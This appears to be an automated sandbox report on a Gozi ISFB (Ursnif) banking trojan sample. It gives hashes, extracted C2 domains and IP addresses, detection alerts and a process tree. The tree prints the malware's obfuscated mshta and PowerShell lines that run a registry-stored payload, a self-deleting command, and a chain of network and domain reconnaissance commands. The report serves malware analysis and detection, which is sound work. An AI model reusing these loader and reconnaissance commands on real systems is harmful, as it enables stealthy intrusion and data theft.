Analysis

  • max time kernel
    4294180s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    22/03/2022, 15:41

General

  • Target

    d41d05cc157f874f89c574c74c0e2c58.exe

  • Size

    739KB

  • MD5

    d41d05cc157f874f89c574c74c0e2c58

  • SHA1

    1e0df409d72db144f570b9d8410b544c8670e64d

  • SHA256

    0d4702dec67009d0728ce6da88bd91bf5e70a526cf0688cc7c7586937cf06cb2

  • SHA512

    fa36e9217d4af43d14870e0fdc380e3ce25674ca0ff55faba604e3b025be06e9c01fadb2807a6809962defc353ca21ea85218115e3624961d6989484115f20ba

Malware Config

Extracted

Family

gozi_ifsb

Botnet

777999

C2

config.edge.skype.com

146.70.35.138

146.70.35.142

Attributes
  • base_path

    /phpadmin/

  • build

    250225

  • exe_type

    loader

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

777999

C2

config.edge.skype.com

67.43.234.14

67.43.234.37

67.43.234.47

Attributes
  • base_path

    /images/

  • build

    250225

  • exe_type

    worker

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

  • suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata: ET MALWARE Ursnif Variant CnC Beacon

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata: ET MALWARE Ursnif Variant CnC Data Exfil

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe
      "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe
        "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:976
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Te7a='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Te7a).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\1F204AFB-F2EE-A981-F4C3-46ED68A7DA71\\\OperatorMask'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name sjndtifo -value gp; new-alias -name hlshhlju -value iex; hlshhlju ([System.Text.Encoding]::ASCII.GetString((sjndtifo "HKCU:Software\AppDataLow\Software\Microsoft\1F204AFB-F2EE-A981-F4C3-46ED68A7DA71").ClassControl))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:532
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tmcimu1x.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1452
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDDC3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDDB2.tmp"
            5⤵
              PID:1616
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x0tccqdc.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1696
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDE4F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDE4E.tmp"
              5⤵
                PID:1344
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1912
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1604
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\71B8.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:1796
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\71B8.bi1"
            2⤵
              PID:908
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1708
              • C:\Windows\system32\systeminfo.exe
                systeminfo.exe
                3⤵
                • Gathers system information
                PID:1308
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:1452
              • C:\Windows\system32\cmd.exe
                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                2⤵
                  PID:1224
                • C:\Windows\system32\cmd.exe
                  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                  2⤵
                    PID:1812
                    • C:\Windows\system32\net.exe
                      net view
                      3⤵
                      • Discovers systems in the same network
                      PID:1068
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                    2⤵
                      PID:1764
                    • C:\Windows\system32\cmd.exe
                      cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                      2⤵
                        PID:1584
                        • C:\Windows\system32\nslookup.exe
                          nslookup 127.0.0.1
                          3⤵
                            PID:1652
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                          2⤵
                            PID:2040
                          • C:\Windows\system32\cmd.exe
                            cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                            2⤵
                              PID:1008
                              • C:\Windows\system32\tasklist.exe
                                tasklist.exe /SVC
                                3⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1184
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                              2⤵
                                PID:1540
                              • C:\Windows\system32\cmd.exe
                                cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                2⤵
                                  PID:600
                                  • C:\Windows\system32\driverquery.exe
                                    driverquery.exe
                                    3⤵
                                      PID:532
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                    2⤵
                                      PID:1788
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                      2⤵
                                        PID:1976
                                        • C:\Windows\system32\reg.exe
                                          reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                          3⤵
                                            PID:1912
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                          2⤵
                                            PID:1568
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                            2⤵
                                              PID:1068
                                              • C:\Windows\system32\net.exe
                                                net config workstation
                                                3⤵
                                                  PID:432
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 config workstation
                                                    4⤵
                                                      PID:1764
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                  2⤵
                                                    PID:108
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                    2⤵
                                                      PID:1704
                                                      • C:\Windows\system32\nltest.exe
                                                        nltest /domain_trusts
                                                        3⤵
                                                          PID:764
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                        2⤵
                                                          PID:2004
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                          2⤵
                                                            PID:1620
                                                            • C:\Windows\system32\nltest.exe
                                                              nltest /domain_trusts /all_trusts
                                                              3⤵
                                                                PID:1460
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                              2⤵
                                                                PID:1576
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                                2⤵
                                                                  PID:1844
                                                                  • C:\Windows\system32\net.exe
                                                                    net view /all /domain
                                                                    3⤵
                                                                    • Discovers systems in the same network
                                                                    PID:532
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                                  2⤵
                                                                    PID:1240
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                                    2⤵
                                                                      PID:1680
                                                                      • C:\Windows\system32\net.exe
                                                                        net view /all
                                                                        3⤵
                                                                        • Discovers systems in the same network
                                                                        PID:916
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                                      2⤵
                                                                        PID:2032
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\B64C.bin1 > C:\Users\Admin\AppData\Local\Temp\B64C.bin & del C:\Users\Admin\AppData\Local\Temp\B64C.bin1"
                                                                        2⤵
                                                                          PID:864

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/532-67-0x00000000025D4000-0x00000000025D7000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/532-60-0x000007FEFB9A1000-0x000007FEFB9A3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/532-61-0x000007FEF4810000-0x000007FEF536D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/532-62-0x000007FEF2920000-0x000007FEF32BD000-memory.dmp

                                                                              Filesize

                                                                              9.6MB

                                                                            • memory/532-63-0x00000000025DB000-0x00000000025FA000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/532-64-0x00000000025D0000-0x00000000025D2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/532-66-0x00000000025D2000-0x00000000025D4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/532-80-0x000000001B660000-0x000000001B6A4000-memory.dmp

                                                                              Filesize

                                                                              272KB

                                                                            • memory/532-65-0x000007FEF2920000-0x000007FEF32BD000-memory.dmp

                                                                              Filesize

                                                                              9.6MB

                                                                            • memory/976-54-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                              Filesize

                                                                              52KB

                                                                            • memory/976-59-0x0000000000300000-0x0000000000302000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/976-58-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                              Filesize

                                                                              52KB

                                                                            • memory/976-56-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                              Filesize

                                                                              52KB

                                                                            • memory/1192-82-0x0000000002230000-0x0000000002231000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1192-83-0x00000000043A0000-0x0000000004458000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1452-89-0x0000000000280000-0x000000000032A000-memory.dmp

                                                                              Filesize

                                                                              680KB

                                                                            • memory/1604-85-0x0000000000440000-0x0000000000441000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1604-86-0x0000000000180000-0x0000000000238000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1912-81-0x00000000003D0000-0x00000000003D1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1912-84-0x0000000000310000-0x00000000003C8000-memory.dmp

                                                                              Filesize

                                                                              736KB